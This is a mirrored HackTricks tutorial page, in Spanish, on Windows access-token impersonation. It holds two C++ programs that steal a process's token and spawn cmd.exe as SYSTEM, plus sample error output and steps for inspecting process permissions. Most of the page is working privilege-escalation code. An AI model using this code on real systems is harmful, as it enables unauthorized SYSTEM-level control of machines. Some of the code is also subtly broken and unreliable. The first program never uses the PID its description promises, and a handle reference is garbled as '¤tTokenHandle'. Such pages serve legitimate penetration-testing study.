mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
247 lines
9.3 KiB
Markdown
247 lines
9.3 KiB
Markdown
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
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- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
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- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## Código
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El siguiente código fue copiado de [aquí](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962).
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Permite **indicar un ID de proceso como argumento** y se ejecutará un CMD **ejecutándose como el usuario** del proceso indicado.\
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Ejecutándose en un proceso de alta integridad, se puede **indicar el PID de un proceso que se esté ejecutando como System** (como winlogon, wininit) y ejecutar un cmd.exe como System.
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```cpp
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impersonateuser.exe 1234
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```
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{% code title="impersonateuser.cpp" %}
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```cpp
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#include <windows.h>
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#include <stdio.h>
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BOOL ImpersonateSystem()
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{
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HANDLE hToken;
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BOOL result = FALSE;
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if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
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{
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TOKEN_PRIVILEGES tp;
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tp.PrivilegeCount = 1;
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tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
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{
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if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
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{
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HANDLE hNewToken;
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if (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken))
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{
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PROCESS_INFORMATION pi;
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STARTUPINFO si;
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ZeroMemory(&si, sizeof(si));
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si.cb = sizeof(si);
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if (CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
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{
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result = TRUE;
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CloseHandle(pi.hProcess);
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CloseHandle(pi.hThread);
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}
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CloseHandle(hNewToken);
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}
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}
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}
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CloseHandle(hToken);
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}
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return result;
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}
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int main()
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{
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if (ImpersonateSystem())
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{
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printf("Success!\n");
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}
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else
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{
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printf("Failed!\n");
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}
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return 0;
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}
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```
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{% endcode %}
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```cpp
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#include <windows.h>
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#include <iostream>
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#include <Lmcons.h>
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BOOL SetPrivilege(
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HANDLE hToken, // access token handle
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LPCTSTR lpszPrivilege, // name of privilege to enable/disable
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BOOL bEnablePrivilege // to enable or disable privilege
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)
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{
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TOKEN_PRIVILEGES tp;
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LUID luid;
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if (!LookupPrivilegeValue(
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NULL, // lookup privilege on local system
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lpszPrivilege, // privilege to lookup
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&luid)) // receives LUID of privilege
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{
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printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
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return FALSE;
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}
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tp.PrivilegeCount = 1;
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tp.Privileges[0].Luid = luid;
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if (bEnablePrivilege)
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tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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else
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tp.Privileges[0].Attributes = 0;
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// Enable the privilege or disable all privileges.
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if (!AdjustTokenPrivileges(
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hToken,
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FALSE,
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&tp,
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sizeof(TOKEN_PRIVILEGES),
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(PTOKEN_PRIVILEGES)NULL,
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(PDWORD)NULL))
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{
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printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
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return FALSE;
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}
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if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
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{
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printf("[-] The token does not have the specified privilege. \n");
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return FALSE;
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}
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return TRUE;
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}
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std::string get_username()
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{
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TCHAR username[UNLEN + 1];
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DWORD username_len = UNLEN + 1;
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GetUserName(username, &username_len);
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std::wstring username_w(username);
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std::string username_s(username_w.begin(), username_w.end());
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return username_s;
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}
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int main(int argc, char** argv) {
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// Print whoami to compare to thread later
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printf("[+] Current user is: %s\n", (get_username()).c_str());
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// Grab PID from command line argument
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char* pid_c = argv[1];
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DWORD PID_TO_IMPERSONATE = atoi(pid_c);
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// Initialize variables and structures
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HANDLE tokenHandle = NULL;
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HANDLE duplicateTokenHandle = NULL;
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STARTUPINFO startupInfo;
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PROCESS_INFORMATION processInformation;
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ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
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ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
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startupInfo.cb = sizeof(STARTUPINFO);
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// Add SE debug privilege
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HANDLE currentTokenHandle = NULL;
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BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
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if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
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{
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printf("[+] SeDebugPrivilege enabled!\n");
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}
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// Call OpenProcess(), print return code and error code
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HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
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if (GetLastError() == NULL)
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printf("[+] OpenProcess() success!\n");
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else
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{
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printf("[-] OpenProcess() Return Code: %i\n", processHandle);
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printf("[-] OpenProcess() Error: %i\n", GetLastError());
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}
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// Call OpenProcessToken(), print return code and error code
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BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
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if (GetLastError() == NULL)
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printf("[+] OpenProcessToken() success!\n");
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else
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{
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printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
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printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
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}
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// Impersonate user in a thread
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BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
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if (GetLastError() == NULL)
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{
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printf("[+] ImpersonatedLoggedOnUser() success!\n");
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printf("[+] Current user is: %s\n", (get_username()).c_str());
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printf("[+] Reverting thread to original user context\n");
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RevertToSelf();
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}
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else
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{
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printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
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printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
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}
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// Call DuplicateTokenEx(), print return code and error code
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BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
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if (GetLastError() == NULL)
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printf("[+] DuplicateTokenEx() success!\n");
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else
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{
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printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
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printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
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}
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// Call CreateProcessWithTokenW(), print return code and error code
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BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
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if (GetLastError() == NULL)
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printf("[+] Process spawned!\n");
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else
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{
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printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
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printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
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}
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return 0;
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}
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```
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{% endcode %}
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## Error
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En algunas ocasiones, puede intentar hacerse pasar por System y no funcionará, mostrando una salida como la siguiente:
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```cpp
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[+] OpenProcess() success!
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[+] OpenProcessToken() success!
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[-] ImpersonatedLoggedOnUser() Return Code: 1
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[-] ImpersonatedLoggedOnUser() Error: 5
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[-] DuplicateTokenEx() Return Code: 0
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[-] DupicateTokenEx() Error: 5
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[-] CreateProcessWithTokenW Return Code: 0
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[-] CreateProcessWithTokenW Error: 1326
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```
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Esto significa que incluso si estás ejecutando en un nivel de integridad alto, no tienes suficientes permisos.
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Veamos los permisos actuales del Administrador sobre los procesos `svchost.exe` con **Process Explorer** (o también puedes usar Process Hacker):
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1. Selecciona un proceso de `svchost.exe`
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2. Haz clic derecho --> Propiedades
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3. Dentro de la pestaña "Seguridad", haz clic en el botón "Permisos" en la esquina inferior derecha
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4. Haz clic en "Avanzado"
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5. Selecciona "Administradores" y haz clic en "Editar"
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6. Haz clic en "Mostrar permisos avanzados"
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La imagen anterior contiene todos los privilegios que "Administradores" tienen sobre el proceso seleccionado (como se puede ver en el caso de `svchost.exe`, solo tienen privilegios de "Consulta").
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Mira los privilegios que "Administradores" tienen sobre `winlogon.exe`:
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Dentro de ese proceso, "Administradores" pueden "Leer memoria" y "Leer permisos", lo que probablemente les permita suplantar el token utilizado por este proceso.
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